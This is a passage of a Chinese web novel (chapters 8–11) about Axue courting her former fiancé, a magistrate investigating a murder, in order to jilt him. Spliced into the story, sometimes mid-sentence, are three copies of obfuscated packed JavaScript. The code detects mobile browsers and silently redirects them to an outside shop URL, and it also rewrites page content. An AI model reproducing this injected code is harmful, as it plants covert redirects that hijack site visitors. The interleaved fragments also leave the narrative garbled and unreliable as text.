d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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松石皱眉,怎么也没想到他们郎君走马上任的第一个案子就如此的棘手,光是查死者就查了两天,现在更是没有半点线索,还牵扯出只留下一只鞋的女鬼。 这几天谢临安吃好睡好,松石却愁的掉头发。 暮色四合,小地方夜里不如京城热闹,还是早点回去休息为好。 镇子不大,百姓们出行全靠走,从这里回客栈也就一盏茶的功夫,但松石已经将马车赶了过来,掀开帘子请谢临安上车。 “郎君,衣服都备好了。” 松石了解主子,每次都会在车里备上衣服,赶车路上谢临安就会换下官袍。 当时离京装了两个马车的衣物,今日这套乃是他们郎君最喜欢的料子,草绿色的圆领衣衫,更显玉树兰芝俊美非凡。 进客栈,松石跟在谢临安的身后,两只手抱着官袍,眼睛盯着草绿色的衣角,心想主子这几年不喜欢花纹,因此所有的布料要么纯素样式,要么就是暗纹。 瞧着……过于素净一些。 胡思乱想的功夫,前面的人停了。 松石抬头:“郎君,怎么了?” 说完一歪头看向门口,松石哎呦一声。 “她怎么睡这了?” 8. 第 8 章 人劳累的时候就是不能坐下歇息,否则什么时候睡着都不知道。 隐约听见响动,似乎房门打开吱呀的声音,坐在地上的小娘子睁开迷蒙的眼睛,恰好看见一片草绿色的衣角飘过。 “郎君。” 她刚刚睡醒,往日里带着甜意的声音微哑,像是撒娇一样尾音上挑。 谢临安顿住脚步侧头看过来,“天黑了,小娘子请回。” 说完,便嘱咐松石关门送客。 “哎哎,别关门。” 地上的小娘子立刻爬起来,赶忙伸手去挡,松石及时收力,这才没夹到她的胳膊。 松石没好气地道:“夜色深重,请小娘子自重。” 又是自重。 不过这次阿雪听明白了,松石是在赶人。 阿雪回头,透过客栈的窗子往外看,果然已经天黑了。她不由得心下一紧。但来都来了,先把东西给他才是,不枉费她花了两个铜板。 大跨步进屋,松石欲要拦人,谢临安抬手示意他莫要动,他倒是想看看这个乡野小娘子到底要做什么。 “这是管肠胃不适的药,我已经拜托大夫搓成药了,每次吞一颗,一天三次,这些够吃三天。大夫说,三天约莫就好了,若是再有不适,那就得去他那看诊。” 桌面上是她打开的油纸包,里面一颗颗黄豆大小的黑褐色药丸,光是嗅着苦涩味道,他便蹙了眉。 修长的手指屈着,轻叩桌面三下意思是让她拿走,不等他开口,那小娘子端起一旁的杯盏。 “郎君,吃药。” 谢临安额头跳了跳。 偏偏她一本正经,不像是胡说八道。 阿雪怎么可能是胡说八道呢?她正在执行自己的复仇计划,按照莲花所说,对他嘘寒问暖,暗自期待他喜欢她,然后她再狠狠地将人抛弃。 想到这个画面,阿雪笑容越发的灿烂,松石却是一脸紧张,眼睛盯着那些药丸,怀疑她要谋害自家郎君,否则为何突然笑开了花? 松石哪能让这种事情发生?何况上次吃了她的东西,郎君身体不适一晚上都没睡好,更不可能再吃她送的药了。 他半点没犹豫,立刻要赶人,阿雪自然不肯走,拽着椅背就是不动,明明生了一副如珠似玉貌美如花的脸,却做着无赖行径。 出身世家大族,哪怕只是个仆从也要脸面。 “你!”气的松石说不出话。 阿雪不管他,只看向谢临安,一脸的真诚。“这个药管用的,以前石头不舒服我娘就去求这幅药,保管立竿见影。” 习惯了被人死缠烂打的谢临安,还是第一次遇见这样的追求者。 若说她不诚心,她还送吃食送药。 若说她诚心,送的都是无关紧要的玩意儿。 且她似乎不知道羞,连脸都不会红。 “小娘子,”谢临安看着她,那双深邃的眼眸平静无波,淡声道:“你都是如此对待外男吗?” 深夜造访,不愿离去。 这句话其实重了,恐怕会惹的小娘子哭红了鼻子,但也是斩断她的念想,免得时间久了耽误了她的大好年华。 谢临安神色淡淡的看她,等着她哭。 “你又不是别人。” 她却这样说。 怎么能算外男?俩人可是青梅竹马,甚至是前未婚夫妻的关系。 松石一脸震惊。 没成想小娘子对他们郎君情深至此,竟然到了非君不嫁的地步! 坏了,这可怎么办? 谢临安唇角浮现玩味的笑意。 这边阿雪自顾自的又嘱咐了几句,不待松石赶人,她急切道:“那我先走了。” 说完不待谢临安说话,阿雪就已经走出了房门,噔噔噔下楼梯的声音越来越远。 “她,这就走了?” 这人好生奇怪,松石有点摸不清她的想法。 窗边,谢临安垂眸看向走出客栈的身影,她站在门口张望了一下,然后一股脑的冲了出去,竟然是跑着消失在夜色里。 啪嗒——长指够着窗框,直接将窗户合上。 跑出去的阿雪起了一身的鸡皮疙瘩。 也不知现在是什么时辰,怎么街道上一个人都没有?她面色难看,心里默念不要胡思乱想,可脑袋里不由自主地浮现各种骇人的画面。 以前阿雪还是孩子的时候,有一次家里没人,她疯玩之后回家找不到蜡烛,家里黑漆漆一片。原本她是不怕的,但她听见外面好像有什么动静,奇怪的令人毛骨悚然的声音。 殊不知只是方才一起玩的孩子没走远,故意在窗户根底下搞怪动静,吓的屋里的阿雪捂嘴小声哭,为此还病了一场。 自那之后,阿雪就相信这世上有鬼,每天夜里都要焦红杏哄着她入睡才行。后来长大了,她就在自己房里点一截蜡烛,时间长了便也习惯了。 夜深人静的街道上,小娘子脚步不停,拎着裙摆朝前跑,但她体力不支,没一会就缓下来,气喘吁吁快步走着。 一步三回头,总觉得身后有鬼。 又一次回头,身后空无一人,捂着胸口的阿雪缓缓吐出一口气,然而不待她转回头,余光瞥见右侧一抹白。 她立刻转头看过去,却发现什么都没有。 心跳如鼓捶,脑子里嗡嗡作响。 阿雪确定,自己方才当真看见飘过去一抹白,好像是……是个人。 正当她琢磨的时候,肩膀上忽然出现一只手,阿雪吓的大叫,双手胡乱抓。 “阿姐,阿姐,哎呦,你别挠我。” “石头,是你。” 瞧见是身高体壮的弟弟,她总算冷静下来。 卢石头问她方才看见什么了,为何如此惧怕,阿雪觉得怕鬼这件事太丢人,就随口胡诌了一个理由。 卢石头单纯一根筋,觉得阿姐说什么做什么都是对的,便也没怀疑,只道:“铺子那边都卖完收拾好了,阿姐,我们回家吧。” 姐弟俩越走越远,谁也没注意街上的一道人影,转过身,朝着来时的方向离去。 边走边想,郎君果然面冷心热。 一路疾行回到客栈,松石如实禀告:“郎君,卢小娘子的弟弟来接她了。” 刚沐浴过的谢临安只穿着一身素白寝衣,乌黑的发披散着,他坐在窗边的小榻上,正与自己对弈。 修长的手指上捻着玉石做的棋子,跳跃的烛火映入他的眼帘,宛若镀了一层金色。 “嗯。” 谢临安并未多言,半响之后将棋子落在棋盘上。 松石垂手在一旁侍候,心想乡野小娘子做事虽然莽撞,但确实引起他们郎君注意了。 不是好事。 过了会,谢临安净手准备歇息,松石过去收拾棋盘,顺手将阿雪留下的那包药揣进怀里。等出了房间后,他立刻嫌弃的扔了。 他们郎君又不是阿猫阿狗,哪里能吃来路不明的玩意儿。 …… 回去路上有卢石头陪伴,阿雪底气颇足,姐弟俩走了一炷香的功夫就到家门口。瞧见主屋里灯亮着,卢石头道:“爹娘肯定没睡,等着我们呢。” 屋里。 卢大富震惊过后冷静下来,开始消化妻子带回来的消息。 “莲花当真这么说?说阿雪和严夫子走的近,还给对方送吃食?” “自然是真的,我觉得这几日阿雪不太对,就想着莲花说不定知道,一问果然问出了实情。”焦红杏满面春风,显然对严夫子满意极了。 “严家人口简单,严夫子会读书写字还能拿束脩,这几年虽然考试没考好,但说不定哪日就能考取功名了。若是我们阿雪嫁过去,保不齐哪日就能当上举人娘子。” 对于普通百姓来说,严夫子确实是良配。 卢大富是个实诚人,索性道:“这样,我明日上门问问。” 焦红杏娇嗔打他胳膊一下,“这般急吼吼的,岂不是叫人看轻我们阿雪。算了,你别插手,先让他们年轻人相处,等时机一到,严夫子肯定会上门提亲的。” 他们女儿样貌好又聪明贤惠,就算被退婚又怎么样?照样能找到好夫婿。 回想起严夫子彬彬有礼,焦红杏越发满意,话题一转,就说给严夫子送点礼物,卢石头到年岁,现在家里也不缺钱,不如让孩子去读书,总比一辈子当猎户来的好。 当了半辈子猎户的卢大富深有感触。 这些年他身上没少挂彩,有一次被野猪的獠牙顶在腹部,差点去了半条命。 “能读书写字最好,风吹不着雨浇不着,坐着就能把钱挣了。” 卢大富感叹一番后,决定明日一早就去,夫妻俩听见院门推动,就不提这茬,一家子坐下吃了口饭,便各自洗漱休息。 阿雪今日被女鬼一事吓到,直到半夜三更才沉沉睡去,翌日不免就醒来的晚。迷迷糊糊听见老爹大喊,似乎还有弟弟卢石头的哭声。 “我都说了,我不要去学堂!” “反了你了!” 卢大富气的不行,手里握着鞋底又要往卢石头身上招呼,一旁的焦红杏心疼孩子过来拦,可爷俩一个比一个身体好,绕着院子开始你追我赶。 “以前是没条件,否则早就将你送过去了,能读书写字是多少人的梦想,你竟然说不去?” “爹,我真不去,你别打我了,哎呦。” 到底姜不如老的辣,屁股又被卢大富打了好几下,卢石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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人倒是走了,说的话还留在焦红杏的耳朵里。 “你看卢雪,都十六了,赶紧定下婚事再准备成亲,别拖到十七十八,都成老姑娘了。” 好好的小娘子,确实不能拖太晚,就算不舍也得早点嫁出去。更何况有退亲这事儿再前,给阿雪找个好人家就能证明退婚不是他们女儿的问题。 思来想去,焦红杏决定亲自走一趟,探探严为之的口风,别女儿努力许久,人家没有那方面的心思。 远在铺子里的阿雪还不知道亲娘的想法,她在和莲花探讨接下来该怎么办。 “他没动心?”莲花诧异,“不应该啊。” 严为之每次看见阿雪都会脸红,摆明了是喜欢阿雪的。如今阿雪主动,他怎么还拿上架子了? “是啊。”阿雪坐在椅子上,歪着身子,一只手捧着脸颊,不免气馁。 “吃的也送了,但好像没什么效果。” 莲花咬牙道:“不可能,肯定有效果,这样,你别送铺子里做好的,要亲手做特别的吃食给他,他才会察觉你的心思。” “真的?” “真的!” 可做什么给他让阿雪犯了难,莲花提议做荤菜,谁不喜欢吃肉啊,但几次接触下来,阿雪觉得谢家小子好像没那么爱吃油腻的。在铺子里转了一圈,除了面粉和做馅料的东西外,还真没旁的玩意儿。 花钱买?阿雪立刻摇头。 她是为了报仇,又不是真的献殷勤。 莲花铺子里有事先走了,阿雪在铺子里踱步,也不知道想到了什么,突然眼睛发亮,拿起凳子踩上去,将墙上高处挂着的篮子取下来。 “还好剩了一把,差点忘了。” 篮子底部平铺着一层带壳的花生,阿雪打开看了看,并未生虫。 “啧。”她还有点可惜。 …… 镇子上的凶案一直没有着落,谢临安有时会出去走动,有时在客栈。王捕头也搞不清楚这位新来的县令爷到底有没有本事,反正目前来看无甚线索,也不知道最后如何收场。 今日,谢临安在客栈里写信,一封信写好后封□□给松石。“传给知府大人。” 今日一早刚收到知府来的消息,也不知道是什么事情。松石直觉是大事不敢耽误,立刻出屋送信。 他前脚刚下楼,后脚客栈伙计端着托盘上来,一一摆放好招呼一声客人慢用就关上门。 门外的阿雪笑眯眯,给了那小伙计一枚铜板。 “多谢了。” 9. 第 9 章 “报仇”计划虽然还没几天,但阿雪已经迫不及待地想知道结果了。 谢家小子动心了吗?有没有后悔退婚? 站在门外的阿雪来回踱步,粉面上带了深深笑意,已经在想接下来该怎么甩他,让他尝尝被退婚的滋味了。 笑容灿烂的小娘子收了笑意,揉了揉笑僵的脸,随后敲门。 屋里没动静。 不对啊,方才客栈伙计进去送吃食,谢家小子就在房里,她还听见他说话来着。 莫不是她没藏好,被他瞧见了? 不能,阿雪立刻否定。随即想到,或许他正在吃东西,不方便开口说话。 因此她屏息等了一会,又敲了几声。 果然,有人应声,不过是奇怪的动静,好像是有人塞着抹布说话似的,含糊不清。 阿雪贴着门板,确实听见里面有动静了,莫不是他喝酒了? 市井坊间不讲究那么多规矩,因此阿雪大声道:“我进来了。” 说完,她推开门,视线扫过屋内,只有他一个人在,正懒懒散散的坐在桌子旁,低垂着脑袋,一只手抓着衣襟,很奇怪的姿势。 “谢郎君?” 他穿着墨色圆领袍,衣料带着暗纹,在光下熠熠生辉,但抬起头时,所有的光亮都汇聚在他的眸子上,若含春水,灿若星辰。 阿雪愣了愣。 小时候就知道谢家小子长的好看,定亲前爹娘还问过她愿不愿意,那时候才几岁的阿雪立刻点头。 “愿意的呀,他长的好看。” 惹的卢大富哈哈大笑,焦红杏点了点女儿的额头,阿雪捂着脑袋实话实说:“确实好看!” 没想到长大的谢家小子,比儿时还要俊美,几乎堪称完美。 阿雪不可自拔的盯着他看,好半响之后,他搭放在扶手上的手指微抬,似乎是在召唤她过去。 “郎君,你怎么了?” 靠近之后,才发现这个人面色潮红。 阿雪心中有个猜测,圆圆的杏眼睁大,片刻后又弯了月牙,笑着俯身看他。 是不是,对我动心了? 呼吸急促,面色绯红,一双眼睛紧紧盯着她。 这可和莲花所说的动心情形一模一样啊! 阿雪胸膛里扩散开一种自豪感,已经在琢磨着现在说不要他,还是再等几天。 不行,还得再等等,待他离不开她时将人抛弃,岂不是妙事一桩? 屋里小娘子粉面桃花,她拉过椅子坐下,瞧见桌子上她做的花生酥被他咬了一口。 “怎么只吃了一口?”阿雪笑的春风拂面,“没想到吧,这是我做的,给你一个惊喜。” 从她进屋之后,谢郎君一直没说话,只一双眼睛看着她,甚至连手都不抬了。 阿雪心想,这人怪没礼貌的。 罢了,她就原谅他。于是她给自己倒了一盏茶水,浅啜一口后皱紧眉头,一张讨喜的圆脸也皱的如苦瓜。 “好难喝啊,又苦又涩,你喜欢喝这种?” 茶味倒是浓郁,可味道实在不怎么样。 谢家小子还不说话。 俩人椅子紧挨着,阿雪转过身子正对着他,然后就不知道该怎么办了。 莲花怎么说来着?哦哦,适当的给对方点甜头,反正对方是守礼之人,也不敢怎么样。 于是,她抬起手,小心翼翼的朝着谢临安靠近。 “阿雪我跟你说,如果你主动牵手他不拒绝,那这事儿就成了!” 莲花的话还回荡在耳边,阿雪视线下落,看着自己的手,缓缓覆上对方的手。 他动了动,但就像是挠痒痒一般,最后阿雪握住了他的手。 还嫌不够,她将手指插入他的指缝里,与他十指相握。 自始至终,他都没有拒绝的意思,就是不知为何一言不发,害羞的整张脸更红,甚至脖颈子都红透了。 这是阿雪第一次和人牵手。 与小娘子的手相比,他的手又大又宽厚,手指修长,阿雪还偷偷比量了一下,他能轻而易举的将她的手包裹住。 或许是被接到侯府后变成了养尊处优的郎君,他的皮肤细腻若玉,摸起来狠舒服。阿雪没忍住,轻轻用指腹蹭了蹭。 像是小猫蹭人的手背一般,若即若离。 明明是她主动,可这会儿心如鼓捶,手心里也沁了薄汗,潮湿一片。 待牢牢握住之后,第一次做这种事情的小娘子已经面红耳赤,眼神闪躲着不敢看他,只声如蚊讷喊人:“郎君。” 他没反抗应当不是不喜,但也没说话,因此阿雪琢磨不清他的态度。 算了,还是不要这样了,阿雪觉得他掌心太热,连她自己也跟着变得奇怪起来。 只是欲要放手时,却倏地被他拉住。 力道之大让没准备的阿雪直接朝他栽过去,犹如树上落花般,扑在了他身上。 二人不过寸许的距离,鼻尖相抵,呼吸交缠。阿雪甚至能看见他眼睛里自己的模样,目瞪口呆,不知所措。 “你……” 热意攀附上脸颊,她慌乱的侧过头不敢看他的眼睛,对方沉重的呼吸却像是羽毛似的,扫过耳朵带着痒意。 不对。 阿雪忽然反应过来。 他这样是不是代表,他真的动心了? 终于想起正事的阿雪又偏过头看过来,不过这次她面带紧张,撑在椅背上纤细的手指蜷缩,小声询问道:“郎君,你是不是心跳加速?别怕,那是心动的证明,你对我,心动了。” 说完这话,莫名的羞耻感如潮水一般袭来。 阿雪盯着他前襟处的衣料,头顶上热烈的视线不可忽略,她总觉得哪里不太对。 许久,对方依旧不答话,阿雪讪讪的摸了下鼻尖,想着今日先这样,明日天亮时她再来询问好了。 然而不待她起身,又感觉到一股阻力。 这是想要回答她的问题?阿雪眼睛发亮。 照着阿雪的猜测,他脸红至此,恐怕早就喜欢她了。那他会说什么?会说娶她? 正好,她直接甩了他,报那退婚之仇。 屋里烛火昏暗,春夜里的习习凉风透过半开的窗子飘进来,火光摇曳,映的玉面郎君的脸也忽明忽暗。 只见他薄唇轻启,一张一合吐出几个字,声音轻微含糊,阿雪没听清,不由自主的靠近,微微侧头。 吐息如兰,阿雪忍着痒意,又靠近几分。 他身上也不知道是什么香气,淡薄却又将人环绕,两个泾渭分明的人,气息边界交触,似乎再也不能说与对方毫无瓜葛。 阿雪屏住呼吸,等着他说心悦与她。 “叫大夫。” 然而谢临安却咬牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561452|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 切齿说出这三个字。 嗯? 年轻俊美的郎君,此刻嗓子含糊再也吐不出一个字,不知道是不是错觉,阿雪总觉得他脸好像肿胀了一圈。 反应过来的阿雪立刻冲了出去,外面天色已晚,顾不上是否有躲藏着的女鬼,她跑着去找赤脚大夫。 再回来时,松石已经在了,谢临安的状态不大好,眼皮沉重似是随时要昏迷过去。 瞧见阿雪,松石气的青筋暴起,指着桌上的花生酥道:“又是你!我家郎君吃不得花生,你这是在害他!” 阿雪心里一咯噔。 稳了稳心神道:“先给郎君看诊。” 说罢,请赤脚大夫上前,松石知道事情轻重,只狠狠地瞪了阿雪一眼。 “幸好我来的及时,吃药就好了。” 这么会儿,谢临安已经彻底昏迷,赤脚大夫看完之后,直接拿出药,作势就要掰开他的嘴喂进去。 松石赶忙拦住,他净手之后,虔诚的上前给谢临安喂了药。 “我家郎君没大事吧?” “能有什么事?对花生过敏罢了,他症状不重又年轻恢复的快,明日一早起来就好。” 结了银钱,松石送走赤脚大夫,回来时手里拿着药和烧开的水。 房间里,阿雪背对着门口弯着腰,松石一个激灵,觉得这人怕不是又在害主子,情急之下冲了上去,正好阿雪回过身,那壶热水洒了出来,尽管阿雪闪避及时,手背上还是洒了一些,登时通红一片。 “嘶!”阿雪疼的蹙眉,松石则是着急去看床榻上的人,才发现原来她是在给郎君掖被角。 松石嘴硬,道歉的话怎么也说不出,甚至想,如果不是她拿了花生酥给郎君,也不会发生后来的事情。 …… 心神不宁的松石守夜之后更显困顿,翌日已经醒来的谢临安靠着床头,手上拿着一本书。 面上红肿散去,不过嗓子依然不适,像是一团棉花堵住喉咙发不出声音。 抬起眼帘,淡淡的朝着松石扫了一眼,松石立刻会意是让他休息,不过他回道:“我先在这侍候郎君,待郎君好一些再去休息。” 松石坚持,谢临安便垂眸接着看书去了,只不过片刻后,他头也没抬,忽地出声。 “昨晚,发生什么?” 声音嘶哑的厉害,且说了两个字停顿许久才吐出后面的话。对上那双深邃的眼眸,松石心里打突突。 郎君怎么发现的? 有心不说实话,但顶着谢临安的视线松石胆突,且他们郎君聪慧过人,恐怕已经发现端倪否则不会问他。 思忱片刻,松石如实禀告。 末了不情不愿地补充道:“也不严重,就一点点而已。何况她害的郎君生病卧床,合该长长记性。” 说完,松石没敢抬头看谢临安,屋里一时寂静。 “郎君……我,我这就去送烫伤的膏药。” “不必。”谢临安淡声开口。 经过此事,她应该不会再缠着他了。 垂眸继续看手里的书,视线飘忽落在手上,脑海里忽地想起昨晚俩人手指交握。 小娘子的手又小又细,见缝插针似的往他的手心里钻。 怔愣片刻后恍然回神的谢临安蹙眉,招呼松石打水净手,连着洗了三遍,可那种软香玉似的触感,好像怎么也洗不掉。 10. 第 10 章 学堂结束课业后,卢石头都是第一时间去铺子帮忙照看,觉得阿姐太过操劳,他做一切力所能及之事。 这天结束后,卢石头装好书本便要离去,却被严夫子叫住。卢石头头皮发麻,同窗们都幸灾乐祸的看他。 “哦。”卢石头瓮声瓮气的回了一句,然后就一屁股坐下等着。 待严为之收拾好东西,学堂的学子们也全都走了,他招呼卢石头一并往外去。 “你阿姐手背上的烫伤如何了?” 每日早晨都会去买菜包子,严为之一眼就瞧见阿雪手背上的红肿,像是两颗花生那么大,在白皙的皮肤上格外明显。 当时他就询问她是否上了药,阿雪说晨起时抹了。 烫伤不是小事,严为之一直挂念着她的伤势,甚至上课时都走神几次,勉强硬撑着上完一天的课,就迫不及待地想去探望阿雪。 “还成,我阿姐说没什么事儿。” 卢石头不爱念书,更抗拒和夫子一道走,于是说:“严夫子,我还要回去帮阿姐看铺子,就先走一步。” 上学几日,说话措辞确实比之前讲究不少。 严为之欣慰一笑,随后道:“正好顺路。” 这一路上卢石头都不知道自己是怎么熬过来的,也是第一次发现严为之竟然是话痨,嘴就没停下过,翻来覆去的询问关于阿姐的事情。 年纪尚小的卢石头还无所察觉,单纯以为严为之没话找话。 到了铺子,远远瞧见莲花也在,她也瞧见他们了,于是笑着起身:“行啦,我不耽误你了。” 说完,朝着阿雪挤眉弄眼。 待看见严为之和卢石头后,阿雪还以为莲花是怕撞见夫子家访,怕石头丢了面子。于是朝着她点头笑,“好,你先去忙,明日再说。” 莲花走出来,正好和严为之面对面,她笑吟吟:“严夫子近日气色红润,是不是好事将近啊?” 她说话声音小,正好卢石头跑过去和阿雪说话,因此只有他们二人听见。 严为之惊诧一瞬,没等他琢磨明白,莲花便招招手离开了。 “夫子,可是石头在学堂里不听话?” “阿姐,我可听话了!” 卢石头大为不满,越发对严夫子不喜。 严为之温和一笑:“没有,就是过来……买几个馒头回家吃。” 看看你三个字到了嘴边被他咽回去。 手脚麻利的阿雪已经迅速的将馒头装好,还多给了一个,递过去的时候不忘感谢。 “石头自小就调皮不听话,又刚开始学习读书写字,有做的不妥当之处还请夫子多多担待。” 这已经是阿雪能说出的最客气的场面话了,充斥着姐弟之情。 严为之接过馒头给了钱,望着笑颜如花的小娘子,缓缓嗯了一声。他没了理由留下,便只能缓步离开。 眼看着要入夏,天黑的比以往更晚,他们姐弟俩收拾好铺子往家走时还天色大亮着。 卢石头拎着书袋,把阿雪手里的馒头也接了过去。 “不沉。” “可你手受伤了。”卢石头瓮声瓮气,阿雪喜笑颜开。“行啊,我们小石头会读书写字之后就是不一样,知道心疼人了。” 卢石头脸有点红。 “不管阿姐碰见什么事情,都有我在。阿姐,有没有人欺负你?如果有的话尽管告诉我,保管一拳头让他哭爹喊娘!” 卢石头自小跟着卢大富进山又身高体壮,寻常人恐怕会被他一拳打懵。 阿雪连忙道:“石头,在学堂莫要闹事,更不可与同窗动手。” “知道。” “阿姐好着,不用担心。” 卢石头挠挠头:“那阿姐,你能不能帮我一个忙啊?” “说来听听。” 没过一会。 卢石头在前面跑,阿雪在后头追,大喊道:“好啊卢石头,还想不去上学?看我怎么收拾你。” 这些日子镇子不太平,街道上行人不多,姐弟俩如一阵风似的跑了过去,从二楼能清楚看见后面小娘子的裙摆犹如蝴蝶似的翩飞。 直到看不见他们的身影,谢临安才转过身,拿起桌面上的茶盏轻啜。 泡的是本地茶叶,价格便宜普通百姓也能喝得起。按理来说谢临安不该喝这等东西的,但上等佳品喝惯了,偶尔尝一尝山野村味,也算有趣。 “大人,都已写好,待墨迹干了便可张贴。” 王捕头站在那垂头答话,上首的谢临安淡淡嗯了一声,嗓子里的红肿还未完全消退,声音听起来低沉不少。 “大街小巷都要贴好。” “是。” 翌日。 阿雪和卢石头一起从家里出来,石头懂事,每天都帮忙将面和好才去上学堂,他年轻力气大,阿雪便也由着他。 走在路上,瞧见前面聚拢了一群百姓,也不知道在讨论什么,极为热闹。 每日上学太过无趣,难得碰见有意思的事情,石头立刻拉着阿雪凑了上去。“阿姐,我们过去瞧瞧。” 俩人一直往前挤,待到了最前面才发现,竟然是树上贴了一张告示。 上面密密麻麻都是字,阿雪不认几个字,便让石头来念。 “我我……”卢石头结结巴巴,吭哧瘪肚,“我也不认识啊。” 他才刚会写自己名字,还没有阿雪认识的字多。 大多数百姓一辈子面朝黄土背朝天,勉强能辨认出一些,可信息不全完全看不懂什么意思。 “我来。”就在这时,严为之从人群里走出来。 作为本地唯一学堂里的唯一夫子,严为之威信颇高,百姓立刻让出一条路来。 不远处马车里,掀开的帘子一角露出半张脸,鼻若悬胆,品貌非凡。 “那是谁?” “郎君,是当地学堂里的夫子。”松石如实回答。 幸好有严为之在,否则这群百姓还不知道发生了什么大事。越念,严为之的面色就越发沉重,人群哗然。 “咱们镇子里没人失踪吧?” 告示上面写其他州县陆续有人失踪不见,广而告之,让本地百姓入夜后早日归家,莫要在外逗留。 有年岁长的婆子道:“唉,年年都有人不见,大多是孩子,被拍花先生给拍走啦!” 百姓们热议起来,还有人道:“怎么确定是失踪,搞不好啊,是私奔啊!” 人群里顿时传开一阵哄笑声。 严为之站在那苦口婆心与大家讲解,这是官府出的告示,让大家谨慎小心,但百姓们七嘴八舌的讨论,谁也没将他的话放在心上。 严为之说的口干舌燥,“安静,安静,大家听我说。” 可百姓们像是得了什么有趣的事情似的,根本不理会他。严为之面红耳赤,转过头对上阿雪的视线,更是腾的一下彻底红了脸。 “严夫子,你脸怎么这么红?”目光清澈的阿雪询问道。 卢石头在心里祈祷,希望严夫子身体不适回家休息,这样他们今日就不用上课了。 可惜,严为之看起来身体颇为硬朗,他招呼卢氏姐弟往外走,郑重嘱咐阿雪道:“出门在外要小心,铺子里卖完了早点回去。” “石头下学会来找我的。”阿雪仰起一张笑脸,“严夫子莫要担心。” 一个欲言又止,一个神情坦荡。 还有个卢石头在其中搅合,相处氛围颇为融洽,看起来就像是相谈甚欢的模样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561453|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松石哼了哼,回过身添油加醋道:“郎君,那卢家小娘子手段太过高明,一方面攀着郎君不松手,另一面还与那夫子牵扯不清。依我看,她就是在广撒网,能捞到哪条算哪条。” 谢临安不发一言,松石悄悄看过去,却见自家郎君饶有趣味的看着远处,像是发现了什么有意思的事情。 松石心里一咯噔。 “郎君,她、她如此这般,岂不是没将郎君放在眼里?再说了,凡夫俗子一个,怎么配和郎君相提并论?” 松石说着说着就转了重点,恨铁不成钢道:“放着人中龙凤的郎君不理,竟然转头去找那等俗人。” 气煞我也。 谢临安眉梢微挑,松石立刻明白说错话了,赶忙低头假装整理马鞭不说话了。 不过松石心里还在琢磨着,他侍候谢临安多年,对自家郎君算是了解,觉得郎君似乎对那卢家小娘子上了心。 应当不是喜欢,就是觉得有趣。 恐怕她不知道郎君侯府世子的身份,才如此胆大包天、胆大妄为。 连着两日,胆比天大的小娘子都不曾出现。 松石心里松了口气。 看来,她当真知难而退了。 谢临安嗓子也完全恢复,命案稍有眉目,他正召集王捕头以及几个得力捕快在屋里叙话。 “大人,您是说本镇的命案和其他州县的失踪案有关联?” 主座上的谢临安颔首,几个捕快不明所以。 若不是谢大人说是有人谋杀,他们还以为那人是不小心自己溺死在水中的。 王捕头琢磨了片刻,直拍大腿:“属下明白了!死者是失踪之人!” 屋里其他捕快立刻露出恍然大悟的表情,怪不得找不到死者的相关信息,原来是这样! 王捕头立刻举一反三:“如此一来,只需要联系其他州县,问清楚失踪之人的名单,便可知晓死者的真实身份。” 谢临安点头,似乎是极为赞同。 王捕头挺起胸膛,这几日的劳累一扫而空,甚至能再办两件大案。 “着重问十六岁至二十岁年龄段的女子,对了,家世应当还算富裕,穿着打扮喜好樱粉色。” 冷不防听谢临安这样说,王捕头唇角又垮了下来,忙不迭地问:“大人,为何是查女子?” 端起的茶盏放下,他拿起雪白帕子擦拭指尖沾的水渍,声音不急不缓。 “自然是因为粉色绣花鞋的主人,是被死者劫持而来。” 在场之人无不震惊,走出房门时各个都是目瞪口呆的模样。 谢临安整理手边的信件,提笔写到女子二字时,忽然想起圆脸爱笑的小娘子多日不曾出现。 大抵是放弃了。 片刻后,写完放在一旁等待墨迹风干,这时松石推门而入,一脸古怪道: “郎君,她又来了,让她进来还是将人赶走?” 墨迹干了,谢临安不疾不徐的折叠好信件,悠闲自得神态放松。 可松石却是一脸的紧张。 郎君这是什么意思?见还是不见? 琢磨了一会,松石恍然大悟,转身直接将阿雪请了进来。 方才屋里全是男人,有股沉闷之气,随着杏色衣裙小娘子跨步而来后,好像整间屋子都变得亮堂起来。 她手上拎着一个食盒,谢林安一只手撑着额角,还是那副温润如玉的模样,只不过声音不轻不重。 “又来送什么?花生酥?” “没、没有。”阿雪心虚之下声音发紧,“就是来看看你。” 噔的一声将食盒放在桌面上,不知为何,底气突然足了起来,笑眯眯道:“给你送补品。” 谢临安看向那食盒。 11. 第 11 章 对于京城那些出身豪门望族的郎君和小娘子来说,不管背地里如何,明面上各个都是知礼守德,光风霁月之人。 谢临安有一好友,乃是国公府的郎君,之前在京城时总来侯府找他。松石记得很清楚,有一次那位郎君惹了别人不快,特意躲在侯府。 就是为了不道歉。 